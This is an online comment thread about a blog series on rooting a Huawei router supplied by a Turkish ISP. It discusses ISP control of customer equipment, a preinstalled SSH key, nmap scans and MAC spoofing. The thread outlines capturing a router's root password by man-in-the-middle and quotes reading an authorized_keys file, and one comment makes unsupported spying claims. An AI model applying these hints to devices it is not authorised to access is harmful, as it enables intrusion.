  > ISPs hate it because it it makes their lives a lot harder - in cable networks, they now have to deal with a zoo of endpoints on a shared medium vs. a small set of standardized devices. In other words, ISPs hate it because it forces them to actually do their jobs and be ISPs. The Internet itself is "a zoo of endpoints on a shared medium", and ISP stands for Internet Service Provider.
  - saber6 7y ago
    To bolster your point: Honestly they don't need to do much - the infrastructure is already there as a matter of being able to turn people's service up/down/on/off. There is always a provider-managed CPE device that functions as the service demarcation point. This is the point where your contracted service speed is enforced (shape + egress queue and ingress policing). You can have literally whatever router (dumb, smart, next-gen, whatever) spewing bits at X rate. The CPE will essentially normalize (police) that bit rate to your contracted speed (upstream scenario).

PascLeRasc 7y ago

Slightly off-topic: I'd really like to run screenfetch on my router (Asus RT-N66U), but it doesn't have enough free space to sftp the script to it [1]. Piping the script just freezes up. Does anyone know a good workaround? Has anyone ever tried this? [1] https://unix.stackexchange.com/questions/510947/how-can-i-run-a-script-on-a-unix-box-without-enough-space-to-store-it https://unix.stackexchange.com/questions/510947/how-can-i-ru...

Topgamer7 7y ago
Check if your router has tmpfs mounted. Iirc thats ram, it should probably have enough space for you to upload it and run it from there.

1_player 7y ago

Very interesting article. What about that precompiled .ssh/authorized_keys with user z00163152@HUAWEI-627FB9A3 mentioned in Part 3? Any reason why a router firmware would permit root access to anyone at all? Definitely sounds like a backdoor to me.

skoskie 7y ago
That was the worst part. I would have that bombshell as the lede. And then delete it if possible.

davedx 7y ago

Fantastic write up from a hacking point of view. I did wonder about this statement though: "This is very invasive and unacceptable. It may seem necessary to apply security patches published by your ISP but the user should be able to disable it whenever she wants." Legally, at least in countries where I've lived, the ISP still owns the router. This surprised me a bit when I first found out, but then I got used to the idea, but you should treat any ISP or telecom gear in your house as something that's "rented but still owned and controlled by someone else".

yjftsjthsd-h 7y ago
And that is why I have my own router plugged into the ISP router:)
blacksmith_tb 7y ago
True, but I think it's worth comparing it to other utilities in your home - what if your electric company could make all your lightbulbs 20% dimmer without notice? Or if your water heater was remotely administered? ISPs, like mobile telcos, like to claim they must have control over your hardware "for security" but I think the most charitable interpretation is that it's to make their customer service dept. sweat less (more nefarious possibilities exist, of course).
- CJefferson 7y ago
  The difference is that non-updated routers can cause global problems. At the very least as an ISP I'd want to say you can look after updates yourself, but we will disable your access to the internet (other than to get the update from us) whenever we try to push an update to you and you reject it.
- ProZsolt 7y ago
  This is why I like separate modems, so there is a clear border between you and the ISP. Sadly currently most of the providers only give you AIOs.

jscholes 7y ago

Enjoyed this write-up, but most of the exploration seemed to be facilitated by someone having already leaked the CLI root password online. Anyone have suggestions on how you might otherwise obtain that information?

paddlesteamer 7y ago
Hi, OP here, actually it's not true. Think the scenario as this: you don't have the CLI root password, you just do a MitM attack and learn about root password when your ISP attempts to change it. This applies my situation, also I could learn about the default password just by looking into the firmware.

j_h 7y ago

EU net neutrality regulation grants end users right to use their own equipment. https://fsfe.org/activities/routers/ https://fsfe.org/activities/routers/

Someone1234 7y ago
Turkey isn't in the EU.
- anticensor 7y ago
  IANAL, but Turkcell would lose the case in Turkey too. This is not due to net neutrality regulations (Turkey deliberately lacks it), but due to case law arisen from competition and customer rights regulations. However, telcos work around that too, by "leasing" modems, like telephone divisions did in the past. Does the trick of "leasing" work in the EU too?
  - mercora 7y ago
    in marketing they try hard to make it sound like what you are going to get by renting their device is WiFi not just the ability to turn on WiFi functionality of the CPE. of course everybody wants that but most people don't get that's not something that has to be provided by the ISP. I am not sure if its required, but i have seen often a lower end device (without WiFi accessible) is given for the lifetime of the contract free of charge. in Germany you have the right to use a compatible device you own yourself. However my ISP Vodafone does not accept lots of modems as compatible and when this regulation started there were basically none you could actually buy. Its not much better now i guess but i distress. EDIT: reading your comment again the trick you mentioned probably works because its "yours" when you lease it instead of renting it?
    - anticensor 7y ago
      Not instead of renting, but of selling.
mercora 7y ago

ege_erdogan 7y ago

I am using the exact same router from the same ISP. I was wondering what the problem was when I wasn't able to forward port 22 to my computer for an SSH connection. I had thought it had something to with the ISP allocating the same static IP to multiple clients and blocking some common ports to prevent collisions (ended up using port 109.. something for SSH). Turns out it was more interesting!

gumby 7y ago

I clicked through to the two follow ups — this is both excellent sleuthery and a wonderful write up.

AdmiralAsshat 7y ago

I never thought to nmap my own router until reading this. PORT STATE SERVICE 53/tcp open domain 80/tcp open http 631/tcp open ipp 5000/tcp open upnp 7777/tcp open cbt 20005/tcp open btx Now begins the three-hours-and-counting rabbit hole of trying to figure out what the hell is running on ports 7777 and 20005. Or why UPNP is apparently running, despite UPNP being explicitly disabled on the Netgear router's admin page.

manifoldgeo 7y ago
Maybe it's a remote administration port for your ISP. I have a router provided by Froniter, formerly Verizon FiOS, where port 4567 is always open and cannot be closed with a firewall rule from the router's web UI (grayed out). After some googling I found out that it's their maintenance port: https://www.speedguide.net/port.php?port=4567 https://www.speedguide.net/port.php?port=4567 For a while I had my own OpenWRT router in place of the ISP one, but I think they got wise to it and blocked the MAC. I changed it to match the ISP router's MAC address, but it only worked for about 3 minutes before being blocked again.
- AdmiralAsshat 7y ago
  I bought both my modem and my router, so I'd be a little incredulous if my ISP had somehow forced a port open on it. The 20005 one may be some port that NetGear uses for its USB Printing, I've found some articles that mention it. It also struck me that I hit it with nmap using the LAN IP, so perhaps these are only open within the network. I probably need to hit the external IP of the router to see what is externally open. ShieldsUP! didn't show anything unusual.[1] EDIT: Disclosure of a vulnerability regarding port 20005[2], and Netgear confirming that it does affect my router[3], but should have been fixed. I assume the "fix" was fixing the buffer overflow vulnerability, rather than closing the port altogether. [1] https://www.grc.com/x/ne.dll?bh0bkyd2 https://www.grc.com/x/ne.dll?bh0bkyd2 [2] https://www.kb.cert.org/vuls/id/177092/ https://www.kb.cert.org/vuls/id/177092/ [3] https://kb.netgear.com/28393/NETGEAR-Product-Vulnerability-Advisory-ReadySHARE https://kb.netgear.com/28393/NETGEAR-Product-Vulnerability-A...

mafuy 7y ago

Many people here pointed out a problem: Removing access for the ISP and/or device manufacturer means they cannot fix bugs remotely and automatically. This is bad in situations like when the Mirai malware hit. How about this?: "You can use your own device and we provide all required information, but there will be no advanced support and you have to check for bugfixes yourself monthly." ... now that I wrote it, I see the answer: There is no way to enforce this, especially not reliably.

marcosdumay 7y ago
Ok, from the Wikipedia: > Mirai then identifies vulnerable IoT devices using a table of more than 60 common factory default usernames and passwords Taking control of the device is exactly the kind of thing that stops that attack.

lxe 7y ago

> After looking into folders, I found some interesting files. I won’t go through them here but I want to mention just one of them: [$ cat etc/ssh/authorized_keys]. Maybe an engineer from Huawei (I assume z00163152@HUAWEI-627FB9A3) who owns a specific DSS key, can connect all HG253s routers without needing a password, who knows? Who knows indeed?!

0xff00ffee 7y ago

Why did port 8015 show up on the remote system after resetting firmware? Shouldn't nmap have reported that?

usmannk 7y ago
It was a “fast nmap”, so only the top 100 most common ports were checked.
- 0xff00ffee 7y ago
  Ah, thanks. If nmap was run exhaustively on all 64k ports, would that both (a) take forever, and (b) raise alarm bells on the target? Why isn't a full scan the norm?
  - usmannk 7y ago
    Yes to both of those (but not thaaat long). But in this case I still would have ran an exhaustive nmap because it's a device on my local network rather than a remote server.

k__ 7y ago

The only router with good admin interface I ever had was one with open source software. Every other router, for 20 years now, had a slow and buggy web interface. Why is this?!

skizm 7y ago

My ISP has a cloud access "feature". If I go to 192.168.1.1 it redirects me to their "router.MYISP.net" site. What's the best way to go about disabling this? Should I just dump the rented router for my own?

simplyinfinity 7y ago
asus (and others) have the same feature. In my case it's a simple redirect from the ip of 192.168.1.1 to router.myasus.com which has a dns record of 192.168.1.1. so all it does is do a redirect to a domain.

tibbydudeza 7y ago

Wow some good detective skills at work here , got a similar Huawei HG635 from my provider ... kept it because it supports LTE cutover. Fortunately some kind person leaked the admin password so that I could configure it to my liking.

stevespang 7y ago

If you are in Turkey, Egodan's boys are spying on EVERYONE,especially after the attempted coup. Huawei is happy to provide spying through the router to Ergodan's Boogiemen - - in fact, several of them are probably next room over from you watching your screen now . . .

hestefisk 7y ago

My ISP (Internode) provide a ‘modem’ for my NBN hybrid coax / fibre connection. I just put my OPNSense router in front of it and it’s all secure. They provided me with all the config settings, which are a bit more obscure than usual (PPPoE but on a specific vlan tag). Works like a charm and I don’t have to worry about weird government wiretapping or backdoors. My ISP provide an IPv6 range too, which is pretty cool.

greatjack613 7y ago

Finally some proof that Huawei does have back doors in their network equipment. In part 3 https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already-Yours-Router-Wars-Episode-III/ https://0x90.psaux.io/2020/03/22/Taking-Back-What-Is-Already... the author rights that a Huawei engineer has an authorized ssh key that would allow them to access your router. Just Wow!